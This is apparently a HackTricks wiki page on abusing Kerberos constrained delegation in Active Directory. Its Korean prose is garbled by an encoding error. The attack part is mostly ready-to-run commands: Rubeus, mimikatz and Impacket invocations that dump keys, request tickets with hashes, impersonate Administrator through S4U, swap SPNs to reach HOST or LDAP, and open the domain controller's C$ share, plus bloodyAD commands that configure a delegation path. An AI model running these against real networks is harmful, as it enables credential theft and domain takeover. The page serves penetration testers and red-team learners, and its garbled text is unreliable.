Constrained Delegation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Constrained Delegation
์ด๋ฅผ ์ฌ์ฉํ๋ฉด Domain admin์ ์ปดํจํฐ๊ฐ ํน์ ๋จธ์ ์ ์์์ service์ ๋ํด ์ฌ์ฉ์๋ ์ปดํจํฐ๋ฅผ ๊ฐ์ฅ(impersonate) ํ๋๋ก ํ์ฉํ ์ ์์ต๋๋ค.
- Service for User to self (S4U2self): ๋ง์ฝ service account๊ฐ userAccountControl ๊ฐ์ผ๋ก TrustedToAuthForDelegation (T2A4D)์ ํฌํจํ๊ณ ์์ผ๋ฉด, ํด๋น ๊ณ์ ์ ์ด๋ค ๋ค๋ฅธ ์ฌ์ฉ์๋ฅผ ๋์ ํ์ฌ ์์ (์๋น์ค)์ ๋ํ TGS๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
- Service for User to Proxy(S4U2proxy): service account๋ msDS-AllowedToDelegateTo์ ์ค์ ๋ ์๋น์ค์ ๋ํด ์ด๋ค ์ฌ์ฉ์๋ฅผ ๋์ ํ์ฌ TGS๋ฅผ ์ป์ ์ ์์ต๋๋ค. ์ด๋ฅผ ์ํด ๋จผ์ ๊ทธ ์ฌ์ฉ์๋ก๋ถํฐ ์์ ์๊ฒ ๋ํ TGS๊ฐ ํ์ํ์ง๋ง, ๋ค๋ฅธ TGS๋ฅผ ์์ฒญํ๊ธฐ ์ ์ S4U2self๋ฅผ ์ฌ์ฉํด ํด๋น TGS๋ฅผ ์ป์ ์ ์์ต๋๋ค.
์ฐธ๊ณ : AD์์ ์ฌ์ฉ์๊ฐ โAccount is sensitive and cannot be delegated โ๋ก ํ์๋์ด ์์ผ๋ฉด, ํด๋น ์ฌ์ฉ์๋ฅผ ๊ฐ์ฅํ ์ ์์ต๋๋ค.
์ด๋ ๋ง์ฝ ์๋น์ค์ hash๋ฅผ ํ์ทจ(compromise the hash of the service) ํ๋ฉด, ์ฌ์ฉ์๋ค์ ๊ฐ์ฅ(impersonate) ํ์ฌ ํ์๋ ๋จธ์ ๋ค์ ์๋ ์ด๋ค service์ ๋ํด์๋ ๊ทธ๋ค์ ๋์ ํด access๋ฅผ ์ป์ ์ ์์์ ์๋ฏธํฉ๋๋ค(์ ์ฌ์ privesc).
๋ํ, ์ฌ์ฉ์๊ฐ ๊ฐ์ฅํ ์ ์๋ ํน์ service์๋ง ์ ๊ทผํ๋ ๊ฒ์ด ์๋๋ผ ์์์ service์๋ ์ ๊ทผํ ์ ์์ต๋๋ค. ๊ทธ ์ด์ ๋ SPN(์์ฒญ๋ ์๋น์ค ์ด๋ฆ)์ด ๊ฒ์ฆ๋์ง ์๊ธฐ ๋๋ฌธ์ด๋ฉฐ(ํฐ์ผ์์ ์ด ๋ถ๋ถ์ ์ํธํ/์๋ช
๋์ง ์์), ์๋ฅผ ๋ค์ด CIFS service์ ์ ๊ทผํ ์ ์๋ค๋ฉด Rubeus์ /altservice ํ๋๊ทธ๋ฅผ ์ฌ์ฉํด HOST service์๋ ์ ๊ทผํ ์ ์์ต๋๋ค. ๋์ผํ SPN ๊ต์ฒด ์ทจ์ฝ์ ์ Impacket getST -altservice ๋ฐ ๋ค๋ฅธ ๋๊ตฌ๋ค์ ์ํด ์
์ฉ๋ฉ๋๋ค.
๋ํ DC์์์ LDAP service access๋ DCSync๋ฅผ ์ ์ฉํ๋ ๋ฐ ํ์ํ ๊ฒ์ ๋๋ค.
# Powerview
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
#ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
# Generate TGT + TGS impersonating a user knowing the hash
Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt
Cross-domain constrained delegation notes (2025+)
Windows Server 2012/2012 R2 ์ดํ KDC๋ S4U2Proxy ํ์ฅ์ ํตํด constrained delegation across domains/forests๋ฅผ ์ง์ํฉ๋๋ค. ์ต์ ๋น๋(Windows Server 2016โ2025)๋ ์ด ๋์์ ์ ์งํ๋ฉฐ ํ๋กํ ์ฝ ์ ํ์ ์๋ฆฌ๊ธฐ ์ํด ๋ ๊ฐ์ PAC SIDs๋ฅผ ์ถ๊ฐํฉ๋๋ค:
S-1-18-1(AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY) when the user authenticated normally.S-1-18-2(SERVICE_ASSERTED_IDENTITY) when a service asserted the identity through protocol transition.
ํ๋กํ ์ฝ ์ ํ์ด ๋๋ฉ์ธ ๊ฐ์ ์ฌ์ฉ๋ ๋ PAC ์์์ SERVICE_ASSERTED_IDENTITY๊ฐ ํฌํจ๋๋ ๊ฒ์ ๊ธฐ๋ํ์ธ์. ์ด๋ S4U2Proxy ๋จ๊ณ๊ฐ ์ฑ๊ณตํ์์ ํ์ธ์์ผ ์ค๋๋ค.
Impacket / Linux tooling (altservice & full S4U)
์ต๊ทผ Impacket (0.11.x+)์ Rubeus์ ๋์ผํ S4U ์ฒด์ธ ๋ฐ SPN swapping์ ๋ ธ์ถํฉ๋๋ค:
# Get TGT for delegating service (hash/aes)
getTGT.py contoso.local/websvc$ -hashes :8c6264140d5ae7d03f7f2a53088a291d
# S4U2self + S4U2proxy in one go, impersonating Administrator to CIFS then swapping to HOST
getST.py -spn CIFS/dc.contoso.local -altservice HOST/dc.contoso.local \
-impersonate Administrator contoso.local/websvc$ \
-hashes :8c6264140d5ae7d03f7f2a53088a291d -k -dc-ip 10.10.10.5
# Inject resulting ccache
export KRB5CCNAME=Administrator.ccache
smbclient -k //dc.contoso.local/C$ -c 'dir'
์ฌ์ฉ์ ST๋ฅผ ๋จผ์ ์์กฐํ๋ ๊ฒ์ ์ ํธํ๋ค๋ฉด(์: ์คํ๋ผ์ธ ํด์๋ง ์๋ ๊ฒฝ์ฐ), S4U2Proxy์ ๋ํด ticketer.py๋ฅผ getST.py์ ํจ๊ป ์ฌ์ฉํ์ธ์. ํ์ฌ์ ํน์ด์ฌํญ(์์กฐ๋ ST๊ฐ SPN key์ ์ผ์นํ์ง ์์ ๋ ๋ฐ์ํ๋ KRB_AP_ERR_MODIFIED ๋ฑ)์ ์ด๋ฆฐ Impacket issue #1713์ ์ฐธ์กฐํ์ธ์.
์ ๊ถํ ํฌ๋ ๋ด์ ์์ delegation ์ค์ ์๋ํ
์ด๋ฏธ ์ปดํจํฐ๋ ์๋น์ค ๊ณ์ ์ ๋ํด GenericAll/WriteDACL ๊ถํ์ ๋ณด์ ํ๊ณ ์๋ค๋ฉด, RSAT ์์ด **bloodyAD (2024+)**๋ฅผ ์ฌ์ฉํด ํ์ํ ์์ฑ๋ค์ ์๊ฒฉ์ผ๋ก ํธ์ํ ์ ์์ต๋๋ค:
# Set TRUSTED_TO_AUTH_FOR_DELEGATION and point delegation to CIFS/DC
KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local add uac WEBSRV$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local set object WEBSRV$ msDS-AllowedToDelegateTo -v 'cifs/dc.corp.local'
์ด๋ ๊ฒ ํ๋ฉด ํด๋น ์์ฑ๋ค์ ์ธ ์ ์๊ฒ ๋๋ ์ฆ์ DA ๊ถํ ์์ด๋ privesc๋ฅผ ์ํ constrained delegation ๊ฒฝ๋ก๋ฅผ ๊ตฌ์ฑํ ์ ์์ต๋๋ค.
- 1๋จ๊ณ: ํ์ฉ๋ ์๋น์ค์ TGT ํ๋
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
## Get AES/RC4 with mimikatz
mimikatz sekurlsa::ekeys
## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
Warning
์ปดํจํฐ์์ SYSTEM ๊ถํ์ด ์๋์ด๋ Printer Bug, unconstrain delegation, NTLM relaying ๋ฐ Active Directory Certificate Service abuse ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก TGT ticket์ด๋ RC4 ๋๋ AES256์ ์ป์ ์ ์๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ๋ค์ด ์์ต๋๋ค
ํด๋น TGT ticket(๋๋ ํด์)๋ง ๊ฐ์ง๊ณ ์์ด๋ ์ ์ฒด ์ปดํจํฐ๋ฅผ ์นจํดํ์ง ์๊ณ ์ด ๊ณต๊ฒฉ์ ์ํํ ์ ์์ต๋๋ค.
- ๋จ๊ณ2: ์ฌ์ฉ์๋ฅผ ๊ฐ์ฅํ์ฌ ์๋น์ค์ TGS๋ฅผ ์ป์ต๋๋ค
# Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
# Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
#Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
#Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
More information in ired.team. ๋ฐ https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61
์ฐธ๊ณ ์๋ฃ
- Kerberos Constrained Delegation Overview (Microsoft Learn, 2025)
- Impacket issue #1713 โ S4U2proxy forged service ticket errors
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


